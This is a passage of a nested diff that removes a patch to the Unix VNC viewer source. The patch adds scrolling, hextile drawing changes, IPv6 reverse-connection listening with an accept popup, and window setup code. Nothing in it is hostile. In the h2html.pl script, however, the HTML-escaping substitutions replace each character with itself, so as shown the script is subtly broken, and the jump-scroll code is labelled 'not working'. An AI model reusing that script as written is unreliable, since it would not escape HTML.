-+ } else if (scrollLeft) {
-+ if (desktopX > 0) {
-+ desktopX -= appData.bumpScrollPixels;
-+ if (desktopX < 0) {
-+ desktopX = 0;
-+ }
-+ }
-+ }
-+
-+ if (scrollDown) {
-+ int ycrop = appData.yCrop;
-+ if (scale_y > 0) {
-+ ycrop = scale_round(ycrop, scale_factor_y);
-+ }
-+ if (ycrop > 0 && desktopY + dpyHeight >= ycrop) {
-+ ;
-+ } else if (desktopY < fbH - dpyHeight) {
-+ desktopY += appData.bumpScrollPixels;
-+ if (desktopY > fbH - dpyHeight) {
-+ desktopY = fbH - dpyHeight;
-+ }
-+ }
-+ } else if (scrollUp) {
-+ if (desktopY > 0) {
-+ desktopY -= appData.bumpScrollPixels;
-+ if (desktopY < 0) {
-+ desktopY = 0;
-+ }
-+ }
-+ }
-+
-+ if (oldx != desktopX || oldy != desktopY) {
-+ XawViewportSetCoordinates(viewport, desktopX, desktopY);
-+ timer = XtAppAddTimeOut(appContext, appData.bumpScrollTime, BumpScrollTimerCallback, NULL);
-+ timerSet = True;
-+ return True;
-+ }
-
-- timerSet = False;
-- return False;
-+ timerSet = False;
-+ return False;
- }
-
- static void
- BumpScrollTimerCallback(XtPointer clientData, XtIntervalId *id)
- {
-- DoBumpScroll();
-+ DoBumpScroll();
-+ if (clientData || id) {}
-+}
-+
-+/* not working: */
-+
-+Bool
-+JumpScroll(int up, int vert) {
-+ scrollLeft = scrollRight = scrollUp = scrollDown = False;
-+
-+
-+ if (appData.fullScreen) {
-+ return True;
-+ }
-+ fprintf(stderr, "JumpScroll(%d, %d)\n", up, vert);
-+
-+ if (vert) {
-+ if (up) {
-+ scrollUp = True;
-+ } else {
-+ scrollDown = True;
-+ }
-+ } else {
-+ if (up) {
-+ scrollRight = True;
-+ } else {
-+ scrollLeft = True;
-+ }
-+ }
-+
-+ if (scrollLeft || scrollRight || scrollUp || scrollDown) {
-+ if (timerSet) {
-+ return True;
-+ }
-+
-+ XtVaGetValues(desktop, XtNx, &desktopX, XtNy, &desktopY, NULL);
-+ desktopX = -desktopX;
-+ desktopY = -desktopY;
-+ return DoJumpScroll();
-+ }
-+
-+ if (timerSet) {
-+ XtRemoveTimeOut(timer);
-+ timerSet = False;
-+ }
-+
-+ return False;
-+}
-+
-+static Bool
-+DoJumpScroll() {
-+ int oldx = desktopX, oldy = desktopY;
-+ int jumpH, jumpV;
-+ int fbW = si.framebufferWidth;
-+ int fbH = si.framebufferHeight;
-+
-+ if (scale_x > 0) {
-+ fbW = scale_x;
-+ fbH = scale_y;
-+ }
-+ jumpH = fbW / 4;
-+ jumpV = fbH / 4;
-+
-+ if (scrollRight) {
-+ if (desktopX < fbW - dpyWidth) {
-+ desktopX += jumpH;
-+ if (desktopX > fbW - dpyWidth)
-+ desktopX = fbW - dpyWidth;
-+ }
-+ } else if (scrollLeft) {
-+ if (desktopX > 0) {
-+ desktopX -= jumpH;
-+ if (desktopX < 0)
-+ desktopX = 0;
-+ }
-+ }
-+
-+ if (scrollDown) {
-+ if (appData.yCrop > 0 && desktopY + dpyHeight >= appData.yCrop) {
-+ ;
-+ } else if (desktopY < fbH - dpyHeight) {
-+ desktopY += jumpV;
-+ if (desktopY > fbH - dpyHeight)
-+ desktopY = fbH - dpyHeight;
-+ }
-+ } else if (scrollUp) {
-+ if (desktopY > 0) {
-+ desktopY -= jumpV;
-+ if (desktopY < 0)
-+ desktopY = 0;
-+ }
-+ }
-+
-+ if (oldx != desktopX || oldy != desktopY) {
-+ XawViewportSetCoordinates(viewport, desktopX, desktopY);
-+ timer = XtAppAddTimeOut(appContext, appData.bumpScrollTime,
-+ JumpScrollTimerCallback, NULL);
-+ timerSet = True;
-+ return True;
-+ }
-+
-+ timerSet = False;
-+ return False;
-+}
-+
-+static void
-+JumpScrollTimerCallback(XtPointer clientData, XtIntervalId *id) {
-+ DoJumpScroll();
-+ if (clientData || id) {}
-+}
-+void JumpRight(Widget w, XEvent *ev, String *params, Cardinal *num_params) {
-+ JumpScroll(1, 0);
-+ if (w || ev || params || num_params) {}
-+}
-+void JumpLeft(Widget w, XEvent *ev, String *params, Cardinal *num_params) {
-+ JumpScroll(0, 0);
-+ if (w || ev || params || num_params) {}
-+}
-+void JumpUp(Widget w, XEvent *ev, String *params, Cardinal *num_params) {
-+ JumpScroll(1, 1);
-+ if (w || ev || params || num_params) {}
- }
-+void JumpDown(Widget w, XEvent *ev, String *params, Cardinal *num_params) {
-+ JumpScroll(0, 1);
-+ if (w || ev || params || num_params) {}
-+}
-+
-+
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/h2html.pl vnc_unixsrc/vncviewer/h2html.pl
---- vnc_unixsrc.orig/vncviewer/h2html.pl 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/h2html.pl 2008-08-30 20:34:45.000000000 -0400
-@@ -0,0 +1,10 @@
-+#!/usr/bin/perl
-+
-+open(HELP, "./vncviewer -help|");
-+
-+while (<HELP>) {
-+ $_ =~ s/&/&/g;
-+ $_ =~ s/</</g;
-+ $_ =~ s/>/>/g;
-+ print;
-+}
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/hextile.c vnc_unixsrc/vncviewer/hextile.c
---- vnc_unixsrc.orig/vncviewer/hextile.c 2007-02-17 22:33:46.000000000 -0500
-+++ vnc_unixsrc/vncviewer/hextile.c 2009-10-16 22:54:40.000000000 -0400
-@@ -30,6 +30,21 @@
- #define CARDBPP CONCAT2E(CARD,BPP)
- #define GET_PIXEL CONCAT2E(GET_PIXEL,BPP)
-
-+#define FillRectangle(x, y, w, h, color) \
-+ { \
-+ XGCValues _gcv; \
-+ _gcv.foreground = color; \
-+ if (!appData.useXserverBackingStore) { \
-+ FillScreen(x, y, w, h, _gcv.foreground); \
-+ } else { \
-+ XChangeGC(dpy, gc, GCForeground, &_gcv); \
-+ XFillRectangle(dpy, desktopWin, gc, x, y, w, h); \
-+ } \
-+ }
-+
-+extern int skip_maybe_sync;
-+extern void maybe_sync(int w, int h);
-+
- static Bool
- HandleHextileBPP (int rx, int ry, int rw, int rh)
- {
-@@ -41,21 +56,43 @@
- int sx, sy, sw, sh;
- CARD8 subencoding;
- CARD8 nSubrects;
-+ int irect = 0, nrects = (rw * rh) / (16 * 16);
-+ static int nosync_ycrop = -1;
-+
-+ if (nosync_ycrop < 0) {
-+ nosync_ycrop = 0;
-+ if (getenv("HEXTILE_YCROP_TOO")) {
-+ nosync_ycrop = 1;
-+ }
-+ }
-
- for (y = ry; y < ry+rh; y += 16) {
- for (x = rx; x < rx+rw; x += 16) {
- w = h = 16;
-- if (rx+rw - x < 16)
-+ if (rx+rw - x < 16) {
- w = rx+rw - x;
-- if (ry+rh - y < 16)
-+ }
-+ if (ry+rh - y < 16) {
- h = ry+rh - y;
-+ }
-+
-+ if (nrects > 400 && (appData.yCrop == 0 || nosync_ycrop)) {
-+ skip_maybe_sync = 0;
-+ if (irect++ % 2000 != 0) {
-+ if (x < rx+rw-16 || y < ry+rh-16) {
-+ skip_maybe_sync = 1;
-+ }
-+ }
-+ }
-
-- if (!ReadFromRFBServer((char *)&subencoding, 1))
-+ if (!ReadFromRFBServer((char *)&subencoding, 1)) {
- return False;
-+ }
-
- if (subencoding & rfbHextileRaw) {
-- if (!ReadFromRFBServer(buffer, w * h * (BPP / 8)))
-+ if (!ReadFromRFBServer(buffer, w * h * (BPP / 8))) {
- return False;
-+ }
-
- CopyDataToScreen(buffer, x, y, w, h);
- continue;
-@@ -66,14 +103,25 @@
- return False;
-
- #if (BPP == 8)
-- if (appData.useBGR233)
-+ if (appData.useBGR233) {
- gcv.foreground = BGR233ToPixel[bg];
-- else
-+ } else
-+#endif
-+#if (BPP == 16)
-+ if (appData.useBGR565) {
-+ gcv.foreground = BGR565ToPixel[bg];
-+ } else
- #endif
-+ {
- gcv.foreground = bg;
-+ }
-
-- XChangeGC(dpy, gc, GCForeground, &gcv);
-- XFillRectangle(dpy, desktopWin, gc, x, y, w, h);
-+#if 0
-+ XChangeGC(dpy, gc, GCForeground, &gcv);
-+ XFillRectangle(dpy, desktopWin, gc, x, y, w, h);
-+#else
-+ FillRectangle(x, y, w, h, gcv.foreground);
-+#endif
-
- if (subencoding & rfbHextileForegroundSpecified)
- if (!ReadFromRFBServer((char *)&fg, sizeof(fg)))
-@@ -101,14 +149,25 @@
- sh = rfbHextileExtractH(*ptr);
- ptr++;
- #if (BPP == 8)
-- if (appData.useBGR233)
-+ if (appData.useBGR233) {
- gcv.foreground = BGR233ToPixel[fg];
-- else
-+ } else
- #endif
-+#if (BPP == 16)
-+ if (appData.useBGR565) {
-+ gcv.foreground = BGR565ToPixel[fg];
-+ } else
-+#endif
-+ {
- gcv.foreground = fg;
-+ }
-
-- XChangeGC(dpy, gc, GCForeground, &gcv);
-- XFillRectangle(dpy, desktopWin, gc, x+sx, y+sy, sw, sh);
-+#if 0
-+ XChangeGC(dpy, gc, GCForeground, &gcv);
-+ XFillRectangle(dpy, desktopWin, gc, x+sx, y+sy, sw, sh);
-+#else
-+ FillRectangle(x+sx, y+sy, sw, sh, gcv.foreground);
-+#endif
- }
-
- } else {
-@@ -116,13 +175,22 @@
- return False;
-
- #if (BPP == 8)
-- if (appData.useBGR233)
-+ if (appData.useBGR233) {
- gcv.foreground = BGR233ToPixel[fg];
-- else
-+ } else
- #endif
-+#if (BPP == 16)
-+ if (appData.useBGR565) {
-+ gcv.foreground = BGR565ToPixel[fg];
-+ } else
-+#endif
-+ {
- gcv.foreground = fg;
-+ }
-
-+#if 0
- XChangeGC(dpy, gc, GCForeground, &gcv);
-+#endif
-
- for (i = 0; i < nSubrects; i++) {
- sx = rfbHextileExtractX(*ptr);
-@@ -131,7 +199,11 @@
- sw = rfbHextileExtractW(*ptr);
- sh = rfbHextileExtractH(*ptr);
- ptr++;
-+#if 0
- XFillRectangle(dpy, desktopWin, gc, x+sx, y+sy, sw, sh);
-+#else
-+ FillRectangle(x+sx, y+sy, sw, sh, gcv.foreground);
-+#endif
- }
- }
- }
-@@ -139,3 +211,5 @@
-
- return True;
- }
-+
-+#undef FillRectangle
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/listen.c vnc_unixsrc/vncviewer/listen.c
---- vnc_unixsrc.orig/vncviewer/listen.c 2001-01-16 03:07:57.000000000 -0500
-+++ vnc_unixsrc/vncviewer/listen.c 2010-04-11 23:14:21.000000000 -0400
-@@ -32,14 +32,88 @@
- #define FLASHDELAY 1 /* seconds */
-
- Bool listenSpecified = False;
-+pid_t listenParent = 0;
- int listenPort = 0, flashPort = 0;
-
-+#if 0
- static Font flashFont;
--
- static void getFlashFont(Display *d);
- static void flashDisplay(Display *d, char *user);
-+#endif
-+
- static Bool AllXEventsPredicate(Display *d, XEvent *ev, char *arg);
-
-+void raiseme(int force);
-+
-+static int accept_popup_check(int *argc, char **argv, char *sip, char *sih) {
-+ char line[16];
-+ char msg[1000];
-+ int dopopup = 1;
-+
-+ if (!getenv("SSVNC_ACCEPT_POPUP")) {
-+ return 1;
-+ }
-+
-+ if (!dopopup && use_tty()) {
-+ raiseme(1);
-+ fprintf(stderr, "Accept VNC connection? y/[n] ");
-+ fgets(line, sizeof(line), stdin);
-+ if (!strchr(line, 'y') && !strchr(line, 'Y')) {
-+ fprintf(stderr, "Refusing connection.\n");
-+ return 0;
-+ } else {
-+ fprintf(stderr, "Accepting connection.\n");
-+ return 1;
-+ }
-+ } else {
-+ int pid, pid2, accept_it = 0;
-+
-+ pid = fork();
-+ if (pid == -1) {
-+ perror("fork");
-+ exit(1);
-+ }
-+ if (pid == 0) {
-+ char *geometry = "2x2+0+0";
-+ String fb[] = { "*message.Scroll: whenNeeded", NULL};
-+ close(rfbsock);
-+
-+ toplevel = XtAppInitialize(&appContext, "Ssvnc", cmdLineOptions, numCmdLineOptions,
-+ argc, argv, fb, NULL, 0);
-+ XtVaSetValues(toplevel, XtNmaxWidth, 2, XtNmaxHeight, 2, NULL);
-+ XtVaSetValues(toplevel, XtNgeometry, geometry, NULL);
-+ XtRealizeWidget(toplevel);
-+ dpy = XtDisplay(toplevel);
-+ sprintf(msg, "\n(LISTEN) Reverse VNC connection from IP: %s\n Hostname: %s\n\n", sip, sih);
-+ strcat(msg, "Accept or Reject VNC connection?");
-+ if (CreateMsg(msg, 2)) {
-+ XCloseDisplay(dpy);
-+ exit(0);
-+ } else {
-+ XCloseDisplay(dpy);
-+ exit(1);
-+ }
-+ } else {
-+ int status;
-+ pid2 = waitpid(pid, &status, 0);
-+ fprintf(stderr, "waitpid: %d/%d status: %d\n", pid, pid2, status);
-+ if (pid2 == pid) {
-+ if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
-+ accept_it = 1;
-+ }
-+ }
-+ }
-+ if (accept_it) {
-+ fprintf(stderr, "Accepting connection.\n");
-+ return 1;
-+ } else {
-+ fprintf(stderr, "Refusing connection.\n");
-+ return 0;
-+ }
-+ }
-+ return 0;
-+}
-+
- /*
- * listenForIncomingConnections() - listen for incoming connections from
- * servers, and fork a new process to deal with each connection. We must do
-@@ -47,145 +121,291 @@
- * cope with forking very well.
- */
-
-+extern char *accept6_hostname;
-+extern char *accept6_ipaddr;
-+
- void
- listenForIncomingConnections(int *argc, char **argv, int listenArgIndex)
- {
-- Display *d;
-- XEvent ev;
-- int listenSocket, flashSocket, sock;
-- fd_set fds;
-- char flashUser[256];
-- int n;
-- int i;
-- char *displayname = NULL;
--
-- listenSpecified = True;
--
-- for (i = 1; i < *argc; i++) {
-- if (strcmp(argv[i], "-display") == 0 && i+1 < *argc) {
-- displayname = argv[i+1];
-- }
-- }
-+ Display *d;
-+ XEvent ev;
-+ int listenSocket, listenSocket6, flashSocket, sock;
-+ fd_set fds;
-+ char flashUser[256];
-+ int n;
-+ int i;
-+ char *displayname = NULL;
-+ int children = 0;
-+ int totalconn = 0, maxconn = 0;
-+
-+ listenSpecified = True;
-+ listenParent = getpid();
-+
-+ for (i = 1; i < *argc; i++) {
-+ if (strcmp(argv[i], "-display") == 0 && i+1 < *argc) {
-+ displayname = argv[i+1];
-+ }
-+ }
-+ if (sock || flashUser || n) {}
-
-- if (listenArgIndex+1 < *argc && argv[listenArgIndex+1][0] >= '0' &&
-+ if (listenArgIndex+1 < *argc && argv[listenArgIndex+1][0] >= '0' &&
- argv[listenArgIndex+1][0] <= '9') {
-
-- listenPort = LISTEN_PORT_OFFSET + atoi(argv[listenArgIndex+1]);
-- flashPort = FLASH_PORT_OFFSET + atoi(argv[listenArgIndex+1]);
-- removeArgs(argc, argv, listenArgIndex, 2);
-+ listenPort = LISTEN_PORT_OFFSET + atoi(argv[listenArgIndex+1]);
-+ flashPort = FLASH_PORT_OFFSET + atoi(argv[listenArgIndex+1]);
-+ removeArgs(argc, argv, listenArgIndex, 2);
-
-- } else {
-+ } else {
-
-- char *display;
-- char *colonPos;
-- struct utsname hostinfo;
-+ char *display;
-+ char *colonPos;
-+ struct utsname hostinfo;
-
-- removeArgs(argc, argv, listenArgIndex, 1);
-+ removeArgs(argc, argv, listenArgIndex, 1);
-
-- display = XDisplayName(displayname);
-- colonPos = strchr(display, ':');
-+ display = XDisplayName(displayname);
-+ colonPos = strchr(display, ':');
-
-- uname(&hostinfo);
-+ uname(&hostinfo);
-
-- if (colonPos && ((colonPos == display) ||
-- (strncmp(hostinfo.nodename, display,
-- strlen(hostinfo.nodename)) == 0))) {
-+ if (colonPos && ((colonPos == display) ||
-+ (strncmp(hostinfo.nodename, display,
-+ strlen(hostinfo.nodename)) == 0))) {
-
-- listenPort = LISTEN_PORT_OFFSET + atoi(colonPos+1);
-- flashPort = FLASH_PORT_OFFSET + atoi(colonPos+1);
-+ listenPort = LISTEN_PORT_OFFSET + atoi(colonPos+1);
-+ flashPort = FLASH_PORT_OFFSET + atoi(colonPos+1);
-
-- } else {
-- fprintf(stderr,"%s: cannot work out which display number to "
-- "listen on.\n", programName);
-- fprintf(stderr,"Please specify explicitly with -listen <num>\n");
-- exit(1);
-- }
-- }
-+ } else {
-+ fprintf(stderr,"%s: cannot work out which display number to "
-+ "listen on.\n", programName);
-+ fprintf(stderr,"Please specify explicitly with -listen <num>\n");
-+ exit(1);
-+ }
-
-- if (!(d = XOpenDisplay(displayname))) {
-- fprintf(stderr,"%s: unable to open display %s\n",
-- programName, XDisplayName(displayname));
-- exit(1);
-- }
-+ }
-
-- getFlashFont(d);
-+ if (!(d = XOpenDisplay(displayname))) {
-+ fprintf(stderr,"%s: unable to open display %s\n",
-+ programName, XDisplayName(displayname));
-+ exit(1);
-+ }
-
-- listenSocket = ListenAtTcpPort(listenPort);
-- flashSocket = ListenAtTcpPort(flashPort);
-+#if 0
-+ getFlashFont(d);
-+#endif
-
-- if ((listenSocket < 0) || (flashSocket < 0)) exit(1);
-+ listenSocket = ListenAtTcpPort(listenPort);
-+ listenSocket6 = ListenAtTcpPort6(listenPort);
-+
-+#if 0
-+ flashSocket = ListenAtTcpPort(flashPort);
-+#endif
-+ flashSocket = 1234;
-+
-+ if (listenSocket < 0 && listenSocket6 < 0) {
-+ fprintf(stderr,"%s -listen: could not obtain a listening socket on port %d\n",
-+ programName, listenPort);
-+ exit(1);
-+ }
-
-- fprintf(stderr,"%s -listen: Listening on port %d (flash port %d)\n",
-- programName,listenPort,flashPort);
-- fprintf(stderr,"%s -listen: Command line errors are not reported until "
-+ fprintf(stderr,"%s -listen: Listening on port %d ipv4_fd: %d ipv6_fd: %d\n",
-+ programName, listenPort, listenSocket, listenSocket6);
-+ fprintf(stderr,"%s -listen: Cmdline errors are not reported until "
- "a connection comes in.\n", programName);
-
-- while (True) {
-+ /* this will only work if X events drives this loop -- they don't */
-+ if (getenv("SSVNC_MAX_LISTEN")) {
-+ maxconn = atoi(getenv("SSVNC_MAX_LISTEN"));
-+ }
-
-- /* reap any zombies */
-- int status, pid;
-- while ((pid= wait3(&status, WNOHANG, (struct rusage *)0))>0);
--
-- /* discard any X events */
-- while (XCheckIfEvent(d, &ev, AllXEventsPredicate, NULL))
-- ;
--
-- FD_ZERO(&fds);
--
-- FD_SET(flashSocket, &fds);
-- FD_SET(listenSocket, &fds);
-- FD_SET(ConnectionNumber(d), &fds);
--
-- select(FD_SETSIZE, &fds, NULL, NULL, NULL);
--
-- if (FD_ISSET(flashSocket, &fds)) {
--
-- sock = AcceptTcpConnection(flashSocket);
-- if (sock < 0) exit(1);
-- n = read(sock, flashUser, 255);
-- if (n > 0) {
-- flashUser[n] = 0;
-- flashDisplay(d, flashUser);
-- } else {
-- flashDisplay(d, NULL);
-- }
-- close(sock);
-- }
-+ while (True) {
-+ int lsock = -1;
-
-- if (FD_ISSET(listenSocket, &fds)) {
-- rfbsock = AcceptTcpConnection(listenSocket);
-- if (rfbsock < 0) exit(1);
-- if (!SetNonBlocking(rfbsock)) exit(1);
-+ /* reap any zombies */
-+ int status, pid;
-+ while ((pid = wait3(&status, WNOHANG, (struct rusage *)0))>0) {
-+ if (pid > 0 && children > 0) {
-+ children--;
-+ /* this will only work if X events drives this loop -- they don't */
-+ if (maxconn > 0 && totalconn >= maxconn) {
-+ fprintf(stderr,"%s -listen: Finished final connection %d\n",
-+ programName, maxconn);
-+ exit(0);
-+ }
-+ }
-+ }
-
-- XCloseDisplay(d);
-+ /* discard any X events */
-+ while (XCheckIfEvent(d, &ev, AllXEventsPredicate, NULL)) {
-+ ;
-+ }
-
-- /* Now fork off a new process to deal with it... */
-+ FD_ZERO(&fds);
-
-- switch (fork()) {
-+#if 0
-+ FD_SET(flashSocket, &fds);
-+#endif
-+ if (listenSocket >= 0) {
-+ FD_SET(listenSocket, &fds);
-+ }
-+ if (listenSocket6 >= 0) {
-+ FD_SET(listenSocket6, &fds);
-+ }
-+ FD_SET(ConnectionNumber(d), &fds);
-
-- case -1:
-- perror("fork");
-- exit(1);
-+ select(FD_SETSIZE, &fds, NULL, NULL, NULL);
-
-- case 0:
-- /* child - return to caller */
-- close(listenSocket);
-- close(flashSocket);
-- return;
-+ while ((pid = wait3(&status, WNOHANG, (struct rusage *)0))>0) {
-+ if (pid > 0 && children > 0) {
-+ children--;
-+ if (maxconn > 0 && totalconn >= maxconn) {
-+ fprintf(stderr,"%s -listen: Finished final connection %d\n",
-+ programName, maxconn);
-+ exit(0);
-+ }
-+ }
-+ }
-
-- default:
-- /* parent - go round and listen again */
-- close(rfbsock);
-- if (!(d = XOpenDisplay(displayname))) {
-- fprintf(stderr,"%s: unable to open display %s\n",
-- programName, XDisplayName(displayname));
-- exit(1);
-+#if 0
-+ if (FD_ISSET(flashSocket, &fds)) {
-+ sock = AcceptTcpConnection(flashSocket);
-+ if (sock < 0) exit(1);
-+ n = read(sock, flashUser, 255);
-+ if (n > 0) {
-+ flashUser[n] = 0;
-+ flashDisplay(d, flashUser);
-+ } else {
-+ flashDisplay(d, NULL);
-+ }
-+ close(sock);
-+ }
-+#endif
-+
-+ lsock = -1;
-+ if (listenSocket >= 0 && FD_ISSET(listenSocket, &fds)) {
-+ lsock = listenSocket;
-+ } else if (listenSocket6 >= 0 && FD_ISSET(listenSocket6, &fds)) {
-+ lsock = listenSocket6;
-+ }
-+
-+ if (lsock >= 0) {
-+ int multi_ok = 0;
-+ char *sml = getenv("SSVNC_MULTIPLE_LISTEN");
-+ char *sip = NULL;
-+ char *sih = NULL;
-+
-+ if (lsock == listenSocket) {
-+ rfbsock = AcceptTcpConnection(lsock);
-+ } else {
-+ rfbsock = AcceptTcpConnection6(lsock);
-+ }
-+
-+ if (sml != NULL) {
-+ if (strstr(sml, "MAX:") == sml || strstr(sml, "max:") == sml) {
-+ char *q = strchr(sml, ':');
-+ int maxc = atoi(q+1);
-+ if (maxc == 0 && strcmp(q+1, "0")) {
-+ maxc = -99;
-+ }
-+ if (maxc < 0) {
-+ fprintf(stderr, "invalid SSVNC_MULTIPLE_LISTEN=MAX:n, %s, must be 0 or positive, using 1\n", sml);
-+ } else if (maxc == 0) {
-+ multi_ok = 1;
-+ } else if (children < maxc) {
-+ multi_ok = 1;
-+ }
-+ } else if (strcmp(sml, "") && strcmp(sml, "0")) {
-+ multi_ok = 1;
-+ }
-+ }
-+
-+ if (rfbsock < 0) exit(1);
-+ if (!SetNonBlocking(rfbsock)) exit(1);
-+
-+ if (children > 0 && !multi_ok) {
-+ fprintf(stderr,"\n");
-+ fprintf(stderr,"%s: denying extra incoming connection (%d already)\n",
-+ programName, children);
-+ fprintf(stderr,"%s: to override: use '-multilisten' or set SSVNC_MULTIPLE_LISTEN=1\n",
-+ programName);
-+ fprintf(stderr,"\n");
-+ close(rfbsock);
-+ rfbsock = -1;
-+ continue;
-+ }
-+
-+ if (lsock == listenSocket) {
-+ sip = get_peer_ip(rfbsock);
-+ if (strlen(sip) > 100) sip = "0.0.0.0";
-+ sih = ip2host(sip);
-+ if (strlen(sih) > 300) sih = "unknown";
-+ } else {
-+ if (accept6_hostname != NULL) {
-+ sip = accept6_ipaddr;
-+ accept6_ipaddr = NULL;
-+ sih = accept6_hostname;
-+ accept6_hostname = NULL;
-+ } else {
-+ sip = "unknown";
-+ sih = "unknown";
-+ }
-+ }
-+
-+ fprintf(stderr, "\n");
-+ fprintf(stderr, "(LISTEN) Reverse VNC connection from IP: %s\n", sip);
-+ fprintf(stderr, " Hostname: %s\n\n", sih);
-+
-+ if (sml == NULL && !accept_popup_check(argc, argv, sip, sih)) {
-+ close(rfbsock);
-+ rfbsock = -1;
-+ continue;
-+ }
-+
-+ totalconn++;
-+
-+ XCloseDisplay(d);
-+
-+ /* Now fork off a new process to deal with it... */
-+
-+ switch (fork()) {
-+
-+ case -1:
-+ perror("fork");
-+ exit(1);
-+
-+ case 0:
-+ /* child - return to caller */
-+ close(listenSocket);
-+#if 0
-+ close(flashSocket);
-+#endif
-+ if (sml != NULL && !accept_popup_check(argc, argv, sip, sih)) {
-+ close(rfbsock);
-+ rfbsock = -1;
-+ exit(0);
-+ }
-+ return;
-+
-+ default:
-+ /* parent - go round and listen again */
-+ children++;
-+ close(rfbsock);
-+ if (!(d = XOpenDisplay(displayname))) {
-+ fprintf(stderr,"%s: unable to open display %s\n",
-+ programName, XDisplayName(displayname));
-+ exit(1);
-+ }
-+#if 0
-+ getFlashFont(d);
-+#endif
-+ fprintf(stderr,"\n\n%s -listen: Listening on port %d\n",
-+ programName,listenPort);
-+ fprintf(stderr,"%s -listen: Cmdline errors are not reported until "
-+ "a connection comes in.\n\n", programName);
-+ break;
-+ }
- }
-- getFlashFont(d);
-- break;
-- }
- }
-- }
- }
-
-
-@@ -193,9 +413,16 @@
- * getFlashFont
- */
-
-+#if 0
- static void
- getFlashFont(Display *d)
- {
-+
-+#if 1
-+ /* no longer used */
-+ if (d) {}
-+ return;
-+#else
- char fontName[256];
- char **fontNames;
- int nFontNames;
-@@ -209,6 +436,9 @@
- sprintf(fontName,"fixed");
- }
- flashFont = XLoadFont(d, fontName);
-+
-+#endif
-+
- }
-
-
-@@ -219,6 +449,11 @@
- static void
- flashDisplay(Display *d, char *user)
- {
-+#if 1
-+ /* no longer used */
-+ if (d || user) {}
-+ return;
-+#else
- Window w1, w2, w3, w4;
- XSetWindowAttributes attr;
-
-@@ -284,7 +519,11 @@
- XDestroyWindow(d, w3);
- XDestroyWindow(d, w4);
- XFlush(d);
-+
-+#endif
-+
- }
-+#endif
-
- /*
- * AllXEventsPredicate is needed to make XCheckIfEvent return all events.
-@@ -293,5 +532,6 @@
- static Bool
- AllXEventsPredicate(Display *d, XEvent *ev, char *arg)
- {
-- return True;
-+ if (d || ev || arg) {}
-+ return True;
- }
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/misc.c vnc_unixsrc/vncviewer/misc.c
---- vnc_unixsrc.orig/vncviewer/misc.c 2003-01-15 02:58:32.000000000 -0500
-+++ vnc_unixsrc/vncviewer/misc.c 2010-02-25 22:44:09.000000000 -0500
-@@ -23,6 +23,7 @@
-
- #include <vncviewer.h>
- #include <signal.h>
-+#include <sys/wait.h>
- #include <fcntl.h>
-
- static void CleanupSignalHandler(int sig);
-@@ -33,12 +34,20 @@
-
- Dimension dpyWidth, dpyHeight;
- Atom wmDeleteWindow, wmState;
-+int fullscreen_startup = 0;
-
- static Bool xloginIconified = False;
- static XErrorHandler defaultXErrorHandler;
- static XIOErrorHandler defaultXIOErrorHandler;
- static XtErrorHandler defaultXtErrorHandler;
-
-+int XError_ign = 0;
-+
-+void check_tall(void);
-+int guessCrop(void);
-+void get_scale_values(double *fx, double *fy);
-+int scale_round(int n, double factor);
-+Bool SendTextChatFinished(void);
-
- /*
- * ToplevelInitBeforeRealization sets the title, geometry and other resources
-@@ -48,87 +57,122 @@
- void
- ToplevelInitBeforeRealization()
- {
-- char *titleFormat;
-- char *title;
-- char *geometry;
--
-- XtVaGetValues(toplevel, XtNtitle, &titleFormat, NULL);
-- title = XtMalloc(strlen(titleFormat) + strlen(desktopName) + 1);
-- sprintf(title, titleFormat, desktopName);
-- XtVaSetValues(toplevel, XtNtitle, title, XtNiconName, title, NULL);
--
-- XtVaSetValues(toplevel, XtNmaxWidth, si.framebufferWidth,
-- XtNmaxHeight, si.framebufferHeight, NULL);
--
-- dpyWidth = WidthOfScreen(DefaultScreenOfDisplay(dpy));
-- dpyHeight = HeightOfScreen(DefaultScreenOfDisplay(dpy));
--
-- if (appData.fullScreen) {
--
-- /* full screen - set position to 0,0, but defer size calculation until
-- widgets are realized */
--
-- XtVaSetValues(toplevel, XtNoverrideRedirect, True,
-- XtNgeometry, "+0+0", NULL);
--
-- } else {
--
-- /* not full screen - work out geometry for middle of screen unless
-- specified by user */
--
-- XtVaGetValues(toplevel, XtNgeometry, &geometry, NULL);
--
-- if (geometry == NULL) {
-- Dimension toplevelX, toplevelY;
-- Dimension toplevelWidth = si.framebufferWidth;
-- Dimension toplevelHeight = si.framebufferHeight;
--
-- if ((toplevelWidth + appData.wmDecorationWidth) >= dpyWidth)
-- toplevelWidth = dpyWidth - appData.wmDecorationWidth;
--
-- if ((toplevelHeight + appData.wmDecorationHeight) >= dpyHeight)
-- toplevelHeight = dpyHeight - appData.wmDecorationHeight;
--
-- toplevelX = (dpyWidth - toplevelWidth - appData.wmDecorationWidth) / 2;
--
-- toplevelY = (dpyHeight - toplevelHeight - appData.wmDecorationHeight) /2;
--
-- /* set position via "geometry" so that window manager thinks it's a
-- user-specified position and therefore honours it */
--
-- geometry = XtMalloc(256);
--
-- sprintf(geometry, "%dx%d+%d+%d",
-- toplevelWidth, toplevelHeight, toplevelX, toplevelY);
-- XtVaSetValues(toplevel, XtNgeometry, geometry, NULL);
-- }
-- }
-+ char *titleFormat;
-+ char *title;
-+ char *geometry;
-+ int h = si.framebufferHeight;
-+ int w = si.framebufferWidth;
-+
-+ check_tall();
-+ if (appData.yCrop < 0) {
-+ appData.yCrop = guessCrop();
-+ fprintf(stderr, "Set -ycrop to: %d\n", appData.yCrop);
-+ if (appData.yCrop > 0) {
-+ h = appData.yCrop;
-+ }
-+ }
-+
-+ XtVaGetValues(toplevel, XtNtitle, &titleFormat, NULL);
-+ title = XtMalloc(strlen(titleFormat) + strlen(desktopName) + 1);
-+ sprintf(title, titleFormat, desktopName);
-+ XtVaSetValues(toplevel, XtNtitle, title, XtNiconName, title, NULL);
-+
-+ if (appData.scale != NULL) {
-+ /* switched to not scaled */
-+ double frac_x, frac_y;
-+ get_scale_values(&frac_x, &frac_y);
-+ if (frac_x > 0.0 && frac_y > 0.0) {
-+ w = scale_round(w, frac_x);
-+ h = scale_round(h, frac_y);
-+ }
-+ }
-+ XtVaSetValues(toplevel, XtNmaxWidth, w, XtNmaxHeight, h, NULL);
-+
-+ dpyWidth = WidthOfScreen(DefaultScreenOfDisplay(dpy));
